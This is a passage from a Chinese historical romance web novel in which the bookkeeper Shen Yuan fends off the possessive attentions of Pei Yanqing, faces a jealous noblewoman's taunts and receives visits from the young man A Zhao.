阿昭语带诚恳:“伯父,阿姐救命之恩,阿昭铭记在心,此生不忘。”
沈泊明连说几声好,招呼阿昭坐下用膳。
用完膳后,阿昭主动收拾碗筷。沈泊明拉着沈鸢到一旁,压低声音,问她阿昭底细。
沈鸢摇头,她也不清楚,当时萍水相逢,并未细问。
沈泊明叹一口气,“这孩子看着不像寻常人家出身,谈吐举止皆有章法。”
沈鸢没有接话。阿昭是何人,与她无关。那日救他,不过是举手之劳,从未想过要什么回报。
阿昭收拾完,又陪沈泊明说了会话,才起身告辞。他跨过院门,回头看了沈鸢一眼,欲言又止,最终缓缓转身离去,脚步声渐远,消失在巷子尽头。
沈泊明站在门口目送,正要关门,却见另一巷口又转出一人。
那人一身玄色长衫,腰系白玉带钩,面容清隽,步履从容。
沈泊明愣了一瞬,旋即堆起笑容,连声招呼。
“晏清来了,快进屋坐。”
裴晏清微微颔首,跨过院门,他目光在院中扫过,落在沈鸢面上。
“我寻沈鸢有点事!”
沈鸢站在廊下,手指攥紧袖口,昨夜戳心之言,犹在耳畔。
沈泊明笑着朝沈鸢招手,“鸢儿,还愣着做甚,快去吧!”
沈鸢站在原地未动。日光从屋檐斜照下来,落在她肩上,却无一丝暖意。她看着裴晏清背影,心中烦闷,却不敢强硬拒绝。
若是那样,沈父必定又追究到底。
裴晏清走到院门边上,忽然停下脚步,偏头看沈鸢定在原处。目光从容淡然,没有一丝催促。
沈鸢知道,今日若是不跟他走,不知他还会做些什么疯狂之事。
她松开攥紧袖口手指。
“走吧。”
沈泊明不明所以,到底没有多问,只望着沈鸢低声道:“早去早回。”
沈鸢跟在裴晏清身后走出院门。巷子狭窄,两人一前一后,脚步声在青石板路上回响。
裴晏清走得不快,沈鸢却始终落后他三步,不远不近,像从前在裴府时一般。
巷口停着一辆马车,车身漆黑,车帘厚重,遮住内里一切。车夫跳下车辕,掀起车帘,裴晏清侧身示意沈鸢上去。
沈鸢弯腰钻进车厢。车厢内光线昏暗,座垫柔软,弥漫着淡淡松木香,与裴晏清身上气息如出一辙。
她靠窗坐下,手指搭在窗沿,指腹触到木质纹理,粗糙而冰凉。
裴晏清随后上车,在她对面落座。马车启动,车轮碾过青石板,发出咕噜声响。车内寂静,只有车轴转动吱呀声和街边渐远喧哗。
沈鸢垂着眼,看着自己鞋尖。鞋面上绣着一枝忍冬花纹样,银灰色丝线在暗处泛着细碎光泽。她盯着那枝忍冬看了许久,直到马车停稳,车夫在外头喊了一声“到了”,才收回目光。
裴晏清先下车,沈鸢跟在后头。
一进裴家老宅,裴晏清径直将她带到书房。
书房在宅子东侧,窗前种着一丛翠竹,竹叶枯黄大半,在风中沙沙作响。门扇虚掩,推开时一股陈旧纸墨气息扑面而来,混着灰尘味和木头腐朽气。
沈鸢站在书房门口,她看着屋内陈设——书案靠窗,案上堆满账册,纸页泛黄卷曲,边角磨毛。
“二爷寻我何事?”沈鸢开口,声音平淡,不带情绪。
裴晏清站在书案前,手指搭在一摞账册上,指尖轻叩封面,发出沉闷声响。他转过身,看向沈鸢。
“账目有些问题。”
沈鸢看着他,没有接话。
账目有问题。她刚入裴府第一年,他总会莫名其妙以这句话可以寻她数次。清晨、午后、深夜,不拘何时,他能随意唤她去松竹居。
如今回想,那时她定是疯了,她竟然能想着自己有个小差错。这样一来,她可以放下手中一切,匆匆赶去,一笔一笔核对,直到找出差错所在,直到他点头。
她以为,他需要她。那样,也能与他有独处的时机。
如今想来,他只是寻求完美,不希望有一丝瑕疵。
“我已不是裴府中人。”沈鸢踏进书房,看着裴晏清,声音平稳,“账目不对,二爷清找府中账房。”
裴晏清没有说话。
他站在那里,晨光从窗棂漏进来,落在他肩上,照亮半张脸。他面色平静,看不出喜怒,只有那双眼睛比平日更深,像一潭不见底水。
两人之间沉默蔓延,窗外竹叶沙沙响,偶尔一片枯叶从枝头飘落,打着旋儿落在窗台上,发出细微声响。
沈鸢移开目光,没有再说第二句话。她站在书案另一侧,与裴晏清隔着一张桌距离。
桌面上账册堆积如山,纸页泛黄,墨迹褪色,像一摞摞陈旧往事,堆在两人之间,推不开,也跨不过。
裴晏清垂下眼,目光落在那摞账册上。他手指搭在封面,指腹摩挲过泛黄纸页,动作缓慢。
“你从前从不出错。”他开口,声音比平日低了些。
沈鸢喉咙发紧。
从前从不出错。从前她为了不出错,夜夜核对到三更,每一笔账目反复查验,每一个数字再三确认。
病了也不敢歇,困了也不敢睡,就怕哪里出了纰漏,让他失望。
沈鸢开口,声音平稳,“如今沈鸢不是裴府账房,账目对错,与沈鸢无关。”
她说完,转身往门外走。
“沈
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鸢。”
裴晏清立即上前,一把攥住沈鸢手腕。
力道极重,箍得她挣不开。
沈鸢脚步一滞,还未及反应,一股力道将她往后一带。她整个人撞进裴晏清怀里,后背抵住他胸膛,隔着衣料,能感觉到他心口心跳,沉稳有力。
“放……开……”
沈鸢挣了一下,语带慌张。裴晏清没有松手,反而收拢手臂,将她箍得更紧。他下颌抵在她发顶,呼吸拂过她额角,温热而绵长。
“沈鸢。”他唤她名字,声音低哑。
沈鸢身子僵住。
“我说放松开。”沈鸢语带哽咽,双手掰那双大手,用力推拒。裴晏清纹丝不动,她手腕细瘦,力道在他面前像蚍蜉撼树。
她推不开,便挣扎扭动,手肘顶他腰腹,脚往后踢他小腿。
裴晏清闷哼一声,脚步微跄,却仍不松手。两人在书案前纠缠,像两头困兽。
沈鸢挣扎得急,手肘撞到案上账册,书页哗啦散落,纸片如雪片般纷飞,落了一地。
“裴晏清!”沈鸢面颊涨红,额头沁出薄汗,声音失了平稳,“你松开我!”
裴晏清低头看她,目光沉沉,像蓄了雨的云。他一只手扣住她腰,另一只手抬起,指腹擦过她鬓边碎发,动作极轻极慢,带着叫她后怕的缱绻。
沈鸢偏头躲开他的手指,胸腔里翻涌着怒意和委屈。
她有自知之明,自己离开了,他又来纠缠。凭什么?
沈鸢深吸一口气,双手用力一推,这次竟推开了。她连连后退几步,后背撞上书架,震落几片枯黄竹叶。
“裴晏清,你离我远些。”她胸膛起伏,声音发颤,“你身边不缺人,何苦来纠缠我。”
裴晏清僵在原地,目光沉沉看着她。
沈鸢别过脸,不愿与他对视。她垂眸看着满地狼藉,账册散落,纸页四散,像一地破碎的残局。
“账册我会整理。”她开口,声音恢复平静,平静得近乎冷淡,“二爷请离开。”
裴晏清看她良久,方转身出了书房。脚步声渐远,门扇在身后轻轻合上,那合上的声响极轻,却像一记闷锤,砸在沈鸢心口。
沈鸢站在满地纸页中间,枯坐片刻,缓缓蹲下身。
她一张一张拾起纸页,抚平折角,叠放整齐。纸页边缘锋利,划过指尖,留下一道浅浅白痕。她做这些事时极专注,像从前核对账目时一样,心无旁骛,不做他想。
窗外天色渐暗,竹影从窗棂间移过,由短变长,由明变暗。
她点了灯,伏在案前,一笔一笔核对。数字密密麻麻,她看得仔细,偶尔用指尖点着纸面,一行一行往下移。烛火跳了几下,她伸手拨亮灯芯,继续看。
夜渐渐深了,书房里只剩下纸页翻动声和笔尖划过纸面的沙沙声。烛火将她的影子投在墙上,纤瘦而单薄,像一株被风吹弯了腰的竹。
她核对完一本,搁在一旁,又拿起下一本。手腕酸了,便甩一甩,继续写。眼睛涩了,缓上片刻,再看。
直到漏尽更阑,最后一比数字核对完毕,她在页脚蘸了朱砂,端端正正批了一个“核”字。
搁下笔时,手指酸软,腕骨隐隐作痛。
沈鸢站起身,吹熄烛火。月光从窗棂漏进来,照在她脸上,眉目倦怠,眼底泛着青黑。
12. 012
沈鸢从书房出来时,天边刚刚泛起鱼肚白。
昨夜整理账册,一直忙到四更天。几本旧账年份久远,墨迹褪色,数字模糊难辨,她对着烛火一页页翻看,眼睛酸涩,脖颈僵直,肩胛骨间像嵌了一根钝针,每动一下都隐隐作痛。
推开房门,晨风扑面而来,带着初春的清冷气息,混着院墙角那丛玉兰残香。
那花瓣枯萎大半,垂着头,露水凝结在枯黄边缘,晶莹剔透,像一颗颗碎冰。
沈鸢站在廊下,阖眸缓了片刻,待冷风吹散面上倦意。
院中那棵老槐树叶子落了大半,剩下几片枯黄在枝头摇摇欲坠,晨光照上去,叶脉清晰如网。
她沿着青砖甬道往外走,脚步比平日慢许多,鞋底踩在砖面上,发出细碎沙沙声。每走一步,膝盖都发软,像踩在棉花上,深一脚浅一脚。
刚转过影壁,迎面撞上一个人。
刘鸣穿着一件灰蓝色棉袍,袖口磨得发白,手中抱着一摞账册,纸页边角卷曲。
他看见沈鸢,眼睛一亮,脚步却停在原地,因着上次请教沈鸢,惹得裴晏清不快,此时心中还有后怕,只是面上堆满笑容。
“沈姑娘。”刘账房声音里带着真切感激,“那些本账册,多亏姑娘指点。在下理了整整一个下午,总算弄清楚。姑娘好本事,在下佩服得很。”
沈鸢看着他,那张瘦长脸上笑意真诚,她懒得去想这其中关窍,只淡淡应了一声。
“刘先生不必客气。”
说完,她侧身想要走开。尚未踏出一步,余光瞥见正院方向有人走来。
晨光从门口倾泻而入,将那人身影镀上一层淡金色。
裴晏清穿一件石青色常服,发束玉冠,面容清隽,步履从容。他跨过门槛,目光在院中扫过,落在沈鸢面上,停了一瞬。
沈鸢浑身一僵。
而刘鸣眯起眼睛看清来人后,惊得一身冷汗,瞥了沈鸢一眼,悄无声息的抱着账本消失来。
沈鸢垂下眼,脚步加快,想要从裴晏清身侧绕过去。鞋底踩在青砖上,急促几声,裙摆拂过地面,带起细微灰尘。
“沈鸢。”
裴晏清开口,声音不高,却让沈鸢脚步钉在原处。她站在他身侧三步远地方,日光落在她肩上,照亮鬓角一缕碎发。
“用了早膳再走。”裴晏清语气平淡,不是在询问,而是在知会。
“不劳二爷费心。”沈鸢声音很轻,喉咙像被东西堵住,每一个字都要用力才能挤出来。
“你是担心你父亲么?你父亲方才来巡过园子,刚用过膳。”裴晏清依旧站在那里,烦躁的开口催促。
晨风穿堂而过,吹起沈鸢袖口,衣料贴着皮肤,凉意渗进骨缝。她站了片刻,终于抬起脚,跟着他往正厅走。
脚步很沉,每一步都像踩在泥沼里。
正厅内已经摆好膳桌。红木圆桌铺着暗红桌布,碗碟整齐,白瓷碗边缘描着青花缠枝纹,在晨光下泛着温润光泽。
裴晏清在主位落座,抬眸看了沈鸢一眼。沈鸢在桌边坐下,离他最远位置,中间隔了三四把空椅。她垂着眼,脊背挺直,双手放在膝上,手指无意识绞着衣料。
丫鬟端着食盒鱼贯而入。膳食一样一样摆上桌,碗碟碰撞发出清脆叮当声,热气袅袅升腾,在晨光中缓缓飘散。
裴晏清端起粥碗,用勺子搅了搅,粥面热气更盛。他夹了一块蒸糕放在沈鸢面前碟中,动作自然。
“吃。”
犀利一个字,简短利落。
沈鸢看着碟中那块蒸糕,糕体雪白,枸杞鲜红,热气氤氲。她拿起筷子,夹起蒸糕咬了一口。糕体松软,入口即化,甜味清淡,带着米香和枸杞微酸。
裴晏清又夹了一个包子放在她碟中,包子皮薄馅大,汤汁从咬开缺口渗出,浸透底部面皮,油亮亮一片。接着是一勺鸡丝粥,粥从她碗沿滑入,米香混着鸡丝鲜味,在空气中弥漫。
他夹一样,沈鸢吃一样。不问她想吃什么,不问她能不能吃得下,只是不停地夹,不停地催促,仿佛将食物堆满她面前,便尽了心意。
沈鸢低着头,一口一口吞咽。蒸糕、包子、粥、酥饼、酱菜,咸的甜的,软的硬的,统统塞进嘴里。
食物味道在口中混杂,分辨不出哪一种是甜,哪一种是咸,只有一股酸涩混沌滋味在舌尖蔓延,顺着喉咙滑下去,沉甸甸压在胃里。
她吃得很快,也很用力,像是在完成一件任务。用力咀嚼,每一口都咽得艰难,却一口都没有剩下。
裴晏清看着她,目光平静,看不出情绪。他端起茶盏抿了一口,茶汤碧绿,热气模糊他面容。
“够了。”裴晏清搁下筷子,声音有些哑。
桌上食物还剩下大半,碗碟杂乱,粥已经凉了,包子皮浸透汤汁,塌成一团。沈鸢面前碟子空荡荡,方才堆满食物都被她吃尽。
裴晏清放下茶盏,没有说话。
沈鸢起身,动作有些急,椅子往后滑了一寸,椅脚蹭过青砖地面,发出刺耳吱呀声。她扶住桌沿稳住身形,指尖触到桌布粗糙纹理,掌心血色褪尽,泛着苍白。
“我送你回去。”裴晏清起身,对沈鸢吩咐一句,便往外走。
沈鸢跟在后头,脚步比来时更沉。走过回廊时,一阵风穿堂而过,吹得她衣袍猎猎作响,鬓角碎发拂过面颊,痒丝丝,她却连抬手去拨力气都没有。
马车停在门口,车夫已经掀起车帘。裴晏清侧身,沈鸢弯腰钻进车厢,在靠窗位置坐下。车厢内松木香气浓郁,闷得人透不过气。
裴晏清在她对面落座,马车启动,车轮碾过青石板,咕噜声响。
沈鸢靠在车壁上,闭着眼。车身摇晃,带着一种令人昏沉节奏。胃里像塞了一块石头,沉甸甸往下坠,方才吃下那些食物搅在一处,翻涌滚动,顶住膈肌,压得她喘不过气。
她深吸一口气,想压下那股翻涌,胸口却像被人攥紧,每一次呼吸都费力。
马车颠簸一下,沈鸢身子一晃,胃中那股翻涌猛地涌上喉头。她抬手捂住嘴,指节泛白,掌心沁出冷汗。
裴晏清看着沈鸢脸色苍白,额角渗出细汗,眉头微皱。
“停车。”他朝外头喊了一声,声音比平日急促。
马车戛然而止,沈鸢身子前倾,额头险些撞上车窗。她撑住车壁,稳住身形,胃中翻涌更剧烈,酸液涌上喉咙,
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烧得生疼。
裴晏清掀开车帘,对车夫说了一句“去医馆”,声音低沉,不容置喙。车夫应了一声,调转马头,马蹄踏在石板路上,得得声响急促起来。
沈鸢想要说“不必”,话到嘴边却化作一声干呕。她捂住嘴,将那股翻涌强压下去,喉咙里泛着酸苦,舌根发麻。
马车很快停在一间医馆门前。
医馆不大,门面朝街,檐下挂着一块木匾,“济世堂”三个字黑底金字,笔画刚劲。
门前种着一棵桂花树,花期未到,枝叶繁茂,阳光落在枝叶上,在青石台阶上投下一团阴影。
裴晏清先下车,站在车旁等沈鸢。沈鸢扶着车壁慢慢挪下来,脚踩在地上时膝盖一软,险些跪下去。
裴晏清伸手扶住她手臂,掌心隔着衣料贴上来,温度微凉,力道却稳。
沈鸢没有看他,抽回手臂,自己稳住身子。
医馆内光线昏暗,空气里弥漫着草药气息,苦涩中混着甘香,还有一丝陈皮特有酸甜。
坐堂大夫是个须发花白老者,穿一件灰青色长袍,袖口沾着几处药渍。他正在给一个妇人诊脉,听见动静抬头看了他们一眼,示意稍候。
裴晏清站在一旁,身形挺拔,与这间狭小医馆格格不入。他目光落在沈鸢面上,看着那张比纸还白脸庞,眉头越皱越紧。
片刻后,妇人提着药包离开。老大夫朝沈鸢招招手,示意她坐下。
沈鸢在诊桌前落座,伸出手腕搁在小枕上。腕骨突出,皮肤薄得近乎透明,底下青色血管隐约可见。
老大夫三指搭上她脉搏,垂眸凝神。指腹微凉,力道不轻不重。
过了片刻,老大夫抬眼看她,目光里带着几分责备。
“姑娘这熬夜伤身,气血两亏。”他声音不大,字字清楚,“脉象虚浮,脾胃虚弱,本应清淡饮食,慢慢调养。今日怕是吃了许多不合身子食物,加重脾胃负担,才会胃中不适。”
沈鸢垂下眼,没有说话。
老大夫又看了裴晏清一眼,目光在两人之间来回扫了一遍,捋了捋胡须,语气缓下来。
“年轻人,关心人不是这样关心法。连人家身子受不受得住都不问,一味强塞,这不是关心,是折腾。”
裴晏清站在原地,面色未变,眼底却裂开一道缝。
老大夫不再多说,提笔开方。笔尖在纸上行走,发出细微沙沙声,墨迹未干透便递给裴晏清。
“三碗水煎一碗,早晚各一次,连服七日。这几日饮食清淡,粥水为主,油腻生冷一概忌口。”
裴晏清接过药方,他垂眸看着那张纸,字迹潦草,辨认了片刻,折好收进袖中。
沈鸢站起身,向老大夫福了一礼,转身往门口走。
裴晏清跟在后头,两人一前一后走出医馆。阳光从门外倾泻而入,照在沈鸢脸上,刺得她眯起眼。晨光太亮,亮得她视线模糊,看不清楚前方路。
她站在医馆门口台阶上,风吹动衣角,桂花树枝叶沙沙作响。远处街市喧哗隐隐约约,像隔了一层厚布,听不真切。
裴晏清站在她身后,袖中手紧握成拳,两人仅隔着一步距离,却好似已触不到她。
13. 013
沈鸢在布店待了半日,核对完上月进出货数目,又替王氏拟了一份新到绸缎清单。
“就是这儿?”一道女声从门口传来,清脆中带着几分骄矜,“我倒要看看,什么狐媚子能迷住我二哥哥。”
沈鸢笔尖一顿,墨点在纸上洇开,像一朵小小黑色花。她搁下笔,抬眸看向门口。
只见一个年轻女子站在门外,身量纤细,穿一件桃红色褙子,领口绣着缠枝莲花纹样,银丝线在日光下泛着细碎光泽。
鬓边簪一支赤金衔珠步摇,珠子垂下来,随她动作轻轻晃动,碰撞发出细微清脆声响。
女子面容姣好,眉眼间与柳梦玉有几分相似,却多了几分张扬少了些许温婉。
柳梦瑶,柳家幼女,柳文彬胞妹。沈鸢未曾与她打过交道,却在青城听过她名头——柳家惯出来的娇小姐,性子骄纵,嘴不饶人。
王氏正在柜台后头整理布匹,听见这话,攥着布匹手收紧,指节泛白。她张了张嘴想要回话,沈鸢一个眼神安抚了她。
沈鸢收回目光,重新提笔,继续写那未完清单。
柳梦瑶站在门口,等了片刻,见无人应声,面上笑意挂不住,抬脚跨过门槛,走进店内。步摇珠子晃得更厉害,叮叮当当。
“店中可是无人,耳朵聋了?”柳梦瑶走到柜台前,手指在台面上敲了敲,指甲染着凤仙花汁,鲜红如血,叩击木质台面发出笃笃声响。
沈鸢写完最后一笔,搁下笔,抬眸看了她一眼,目光很静。
“姑娘想买什么布?”沈鸢声音不高不低,像对待任何一个进店客人,“店里有新到杭绸,还有苏绣绢帕,姑娘可以看看。”
柳梦瑶愣了一瞬,显然没料到她会这样回应。她上下打量沈鸢,嘴角一撇,露出不屑神情。
“你就是沈鸢?”柳梦瑶声音拔高了些,“长得也不过如此嘛,我还以为是什么天仙人物,勾得我二哥哥神魂颠倒,非要在母亲寿宴上,就当众求娶你这个狐狸精。”
沈鸢没有接话,低头收拾桌上笔墨。她用笔洗中清水将墨锭冲洗干净,放在一旁,动作不紧不慢。
柳梦瑶见她不理不睬,面上红一阵白一阵。
“我告诉你,你死了这条心。我二哥哥不过是醉了酒胡言乱语,你还真当回事?柳家在青城扎根三代,你一个破落户女儿,也配进柳家门?”
王氏终于忍不住,将手中布匹往柜台上一放,发出沉闷一声响。
“姑娘说话客气些,我家鸢儿从未想过要高攀谁。是你家兄长自己当着满堂宾客说要求娶,与我家鸢儿何干?”
柳梦瑶目光转向王氏,冷笑一声:“正主还没说话,你倒先跳出来了。果然是破落户,连规矩都不懂。”
王氏气得浑身发抖,嘴唇哆嗦,眼眶泛红。沈鸢拦住王氏,示意她不要理会。
“柳姑娘。”沈鸢开口,声音依旧平静,“你兄长为何求娶,你不该问我。回去问他,自然明了。”
柳梦瑶一愣,还没接话,店门外又传来脚步声。
柳文彬大步走进来,他看见柳梦瑶,眉头一皱,脸色沉下来。
“瑶儿,你跑来这里做什么?”
柳梦瑶转身,见是自家兄长,非但不怯,反倒来了精神,几步走到柳文彬面前,扯住他袖子:“二哥哥,你来得正好。你告诉这个沈鸢,寿宴上那些话是酒后胡言,当不得真。”
柳文彬面色变了又变,目光在沈鸢面上停了一瞬。
沈鸢站在柜台后头,面色平静,目光淡淡,像在看一场与己无关闹剧。
“你先回去。”柳文彬抽回袖子,对柳梦瑶道,“我的事不用你管。”
“我不管?”柳梦瑶声音尖了起来,“我来看看是哪个狐狸精迷住你,我若是不管,你怕真要娶这个破落户进门了。”
“够了!”柳文彬低喝一声,面色铁青,额头青筋跳了几跳。
柳梦瑶被他吼得一愣,眼眶泛红,嘴唇瘪了瘪,像是要哭出来。她跺了跺脚,转身瞪向沈鸢,目光里满是怨毒。
“都是你,都是你这个狐狸精。二哥哥从前不这样的,自从遇见你,就变得不像他了。”
沈鸢没有应声,她望着王氏轻声道:“婶婶,我先回了。铺子里若有急事,让人来家中寻我。”
王氏拉住她手,掌心温热,带着薄汗,低声道:“鸢儿,这些人来者不善,你一人回去,婶婶不放心。”
“无妨。”沈鸢拍了拍王氏手背,抽出自己手,转身往店门外走。
柳文彬见她要走,抬脚跟上。柳梦瑶也不甘落后,提着裙摆追出来,步摇珠子晃得叮当响,像一串铃铛追在身后。
沈鸢走在前头,脚步不快不慢。阳光照在青石板路上,明晃晃一片,路面坑洼处积着昨日雨水,映出天上一小片白云。
身后脚步声始终跟着,一重一轻,像两只老鼠在身后窜。
沈鸢没有回头,也没有刻意加快脚步。她走得很稳,脊背挺直,目光落在前方。
转过一条巷子,身后脚步声还在。又转过一条街,仍然跟着。
柳梦瑶开始絮絮叨叨,声音时高时低,沈鸢听不真切。
街上行人渐多,午时将近,出来采买的人络绎不绝。
沈鸢拐进一条更热闹街市。两侧铺面林立,招牌幌子密密麻麻,遮住大半天空。
行人摩肩接踵,推推搡搡,空气中弥漫着各种气味,混杂一处,浓烈得呛人。
沈鸢在人群中穿行,借着人多想甩开身后尾巴。可柳家兄妹怎么都甩不掉。
柳文彬身形高大,在人群中格外显眼,几次挤到沈鸢身侧,伸手想扶她肩膀,都被她侧身避开。
前方出现一座石桥,仅容三四人并行,桥面青石板被行人踩得光滑发亮,边缘处生了青苔,墨绿色一片,湿漉漉泛着水光。
桥下是一条小河,河水浑浊,漂着几片枯叶,缓缓流淌,发出细微哗哗声。
沈鸢走上桥头,身后柳梦瑶声音近在咫尺。她深吸一口气,抬脚往桥上走。
人群拥挤,她被推着往前,两侧皆是陌生人,有人踩了她鞋尖,她踉跄一步,扶住旁边一根桥栏石柱,石柱冰凉,表面粗糙,掌心磨得生疼。
沈鸢被一股力量挤得往桥栏方向倾斜,脚下青石板湿滑。
她整个人一歪,身子倾斜,朝着桥栏外倒去。
河水在下方流淌,浑浊水面映
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出她苍白面容。风声从耳边掠过,带着河水腥气。她手指在空中抓了一把,什么也没抓住。
千钧一发之际,一只手从身后伸来,箍住她腰间。
那力道极大,手臂有力,将她整个人从桥栏边拽回来。她后背撞上一具胸膛,隔着衣料能感觉到对方心跳,沉稳有力。
人潮依旧拥挤,那手却没有松开,箍在她腰间。
沈鸢掌心撑住那人手臂,想要挣脱。指尖触到衣料,玄色绸面,冰凉光滑,她用力推了推,那手臂纹丝不动。
她偏头,看清身后之人。
裴晏清面色冷峻,下颌线绷紧,唇抿成一条线。他垂眸看她,目光一片深沉暗色。
沈鸢愣住,一时间忘了反应。
那一日从裴家回来,病了几日,她一直在家中养着,今日好些沈父方许出门。
沈鸢以为再见他时,心中不会再起波澜。
可此刻他站在眼前,手臂箍在她腰间,体温透过衣料传来,滚烫灼人,她才发现那些都是自欺欺人。
沈鸢深吸一口气,用力推开他手臂。
裴晏清松了手。手臂从她腰间滑落,指尖擦过她腰侧衣料,带起一阵细微窸窣声。
沈鸢退开一步,整理被挤乱的衣袖。手指微微发抖,将袖口抚平,又将衣襟理正。
她没有看他,目光落在桥下河水上,水面倒映出两人身影,一前一后,隔着一臂距离。
人群渐渐松散,桥面空出缝隙。有人从他们身边走过,脚步匆匆,带起一阵风。
桥上风大,吹得沈鸢鬓角碎发拂过面颊。她抬手将碎发抿到耳后,指尖触到耳垂,冰凉一片。
裴晏清站在她身侧,目光从她面上移开。
他瞥见柳家兄妹还在桥下四处张望,他眉头微拧,不由分说攥住沈鸢的手腕,拉着她往一条僻静巷子走去。
沈鸢挣脱不得,她咬住唇,不再做无谓挣扎,脚步踉跄地跟在他身后,穿过窄巷,绕过一道爬满青藤的矮墙,终于在一处无人的空巷停下。
裴晏清松开手。沈鸢退开一步,低头看自己手腕,一圈红痕,隐隐泛着紫。
“沈鸢。”他开口,声音沉而冷,“你就那么想攀高枝,嫁去柳家?”
沈鸢闻言,心口像被钝器狠狠撞了一下。她抬起头,看着裴晏清,他面色冷峻,眼底像是厌恶,又像是失望。
原来他也是这么看她的。攀高枝?她在他眼里,就这般不堪。
沈鸢觉得荒唐,觉得好笑,心间涌上一股酸涩,嘴角上扬,眼底却没有半分笑意。
“二爷说得是。”她开口,声音极轻极淡,“沈鸢便是这样的人,二爷嫌恶心,离远些便是。”
裴晏清并未注意她苍白面色,又继续道:“沈鸢,跟我回扬州。”
沈鸢不再应声。她转身,抬脚便走,脚步快而急,裙摆扫过地面枯叶,带起一阵细碎声响。
身后脚步声似乎未再跟来,她走过巷口,转过墙角,终于消失在狭窄的青石路尽头。
转过弯,身后脚步声终于消失。
沈鸢停下脚步,靠在一面青砖墙上。墙面冰凉,粗糙砖面硌着后背,透过衣料传来阵阵寒意。
14. 014
阿昭往沈家来得愈发勤了,沈鸢不好将他拒之门外,毕竟阿昭每回来总有个由头。
沈鸢本不想多问他私事,可这人总这样来回跑,她总觉不妥。
她望着一旁劈柴的阿昭,终于忍不住开了口:“阿昭,你不是家中事忙?整日往外跑,家中长辈可会斥责?”
阿昭将斧头放下,拍拍手上尘灰,冲她笑了一笑。那笑容坦荡得很,仿佛早等着她问这话。
“前几日归家,正与叔父说起此事。”他挨着沈鸢对面石凳坐下,“叔父说年轻人就该多历练,不能总闷在宅子里。他便给我安排不少事务,各处庄子铺子都要照看,忙时怕是三五日不得空闲,闲时倒能歇上一两日。”
沈鸢听是家中之事,便不好再多问,垂下眼睫。
阿昭似察觉她回避,又道:“所以往后我若消失几日,阿姐莫要奇怪,定是事务绊住脱不开身。若得了空闲,阿昭还是会来寻阿姐。”
“不耽误你正事就好。”沈鸢淡淡应一句。
阿昭果真是忙几日歇一两日,忙时不见踪影,闲时便来沈家窝着。
要说阿昭有何逾矩举动,倒也没有。他说话虽热络些,人却始终规矩,偶尔递物什指尖相触,他反倒先退开,耳根悄悄泛一层薄红。
就是这份拿捏得恰到好处的分寸感,反倒让沈鸢心中不安。
阿昭若是真忙起来,一连四日没有露面。
沈鸢照常过日子,照常在布店忙活,归家做饭洗衣,一日复一日,过得平淡如水。
这几日没有裴晏清打扰,沈鸢过得很舒坦,日子退回从前那般,清清静静,安安稳稳。
可心中酸涩,却像春日里化不开的残雪,薄薄一层覆在心头。分明不碍着什么,偏生时时瞧得见。她忙碌时忘了,闲下来又浮起;白日里忘了,夜深人静时又翻涌。
她自嘲地想过,大抵是那人生来就有这本事,人走了,影子还赖着不走。
*
一日傍晚,沈鸢正在院中收晒干衣物,忽然听见院门被轻轻叩响。那叩门声带着几分急切,叩三下停一停,又叩三下。
节奏她很熟悉——阿昭每回来都这般叩门。
门外果然站着阿昭,一身风尘仆仆,月白夏衫皱巴巴沾着灰土,袖口被刮破一道口子,头发也有些散乱,几缕碎发落在额前。
他手里还提着一只竹篮,篮里装几个青皮梨子,上面露水未干,大约是路上刚买的。
“忙完了?”沈鸢声音平淡,带着几分轻柔。
阿昭点头,目光落在她脸上,带着几日未见想念,又有几分刻意收敛克制。
“庄子上收成要清点入账,忙到今日午后才算完。之后便赶了回来。”
赶回来三个字他说得很轻,像是不经意带出来,又像是斟酌许久才敢说出口。
他擦净脸上水渍,几日不见,似乎又黑了一些,下颌线条更显硬朗,唯独那双眼睛依旧带着灼灼光亮。
“阿姐……”阿昭将帕子还给她,忽然正色道,“我有几句话想与你说……”
沈鸢接过帕子,垂眸看着手中那块叠得齐整棉布。
院外晚风拂过,带来远处谁家炊烟气息,混着老槐树叶子苦涩清香。
暮色从四角天空慢慢压下来,将院落笼在一片幽蓝光影里。
阿昭深吸一口气,正要开口,院门外忽然传来一阵嘈杂人声。
“沈家姑娘!沈家姑娘在不在?”
隔壁周婶声音,中气十足,隔着院墙都震得耳膜嗡嗡响。
紧接着院门被拍得砰砰响,看来不止一人,门外叽叽喳喳好些声音叠在一起。沈鸢看了阿昭一眼,转身去开门。
门一拉开,外头站着五六个妇人,全是附近走动较勤邻里。
周婶打头,一个个脸上堆满笑,目光却越过沈鸢直往院子里瞟。
“听说你家来了位年轻公子,可是这位?”周婶扯着嗓子,目光落在阿昭身上,上上下下打量好几个来回,那眼神恨不得将人剥开看个遍。
阿昭站在院中槐树下,暮色将他身影拉长。他脸上挂着得体微笑,朝众人微微颔首,举止间自有一番从容气度。
这一颔首不打紧,门口几个妇人顿时炸开了锅。
“哎呀,好俊俏后生!”
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“阿鸢姑娘好福气,这么个标致郎君……”
“瞧瞧这身量,这气派,怕不是哪家大户公子?”
“听说很是能干,样样都行,这般贴心后生哪里找去。”
“公子多大年纪?家中作何营生?可曾婚配?”
几个妇人你一言我一语,问话却都冲着阿昭去。
阿昭一一作答,声音温和有礼,说家中做些小生意,年纪刚过弱冠,婚配之事尚未定下。
每答一句,妇人们脸上笑意便深一分,彼此交换眼神。
沈鸢站在门口,面色淡淡,看不出喜怒。她目光从那些妇人脸上扫过,又落在院中阿昭身上。
阿昭恰好也看过来,两人视线撞在一处。沈鸢先别开眼,好在几人见着阿昭面皮薄,恐经不住调侃,几人又笑说几句便相携离开了。
沈鸢笑看看昭,声音压得很低:“阿昭,往后还是少来些,免得往后影响你说亲。”
阿昭沉默一瞬,轻声道:“阿姐莫要被她们影响,有些事,躲着反而不如坦荡些。”
沈鸢转过身,天色渐暗,她面容一半笼在阴影里,看不清神情。
就在这时,院门外传来周婶一声惊呼:“哎哟,哪个不长眼站这儿挡路……”
接着一阵脚步声,不急不缓,那脚步声从院门前经过,停顿片刻,又继续往前,渐渐消失在小巷深处。
沈鸢走到院门口往外看了看。暮色沉沉,巷子里空无一人,只有墙角青苔在暗光里泛一层潮湿绿意。
空气中残留一缕淡淡松木香,像是有人刚从门前走过,衣袍带起风里那股气息。
阿昭不知何时跟到身后,目光也落在空荡荡巷口,眉头微微拧起。
“阿姐,方才有人?”他问。
沈鸢收回视线,摇了摇头,将院门掩上大半。
门扇合拢那一刻,巷口拐角处,一道挺拔身影正背靠着斑驳土墙。他微微侧脸,露出半截下颌线条锋利如削,一双狭长眼眸在暗色中沉沉如渊。
手指间拈着一片不知从何处飘来槐树叶,轻轻一捻,叶片碎裂,细碎残片从指缝间簌簌落下。
15. 015
沈鸢出门时,日头已偏西。
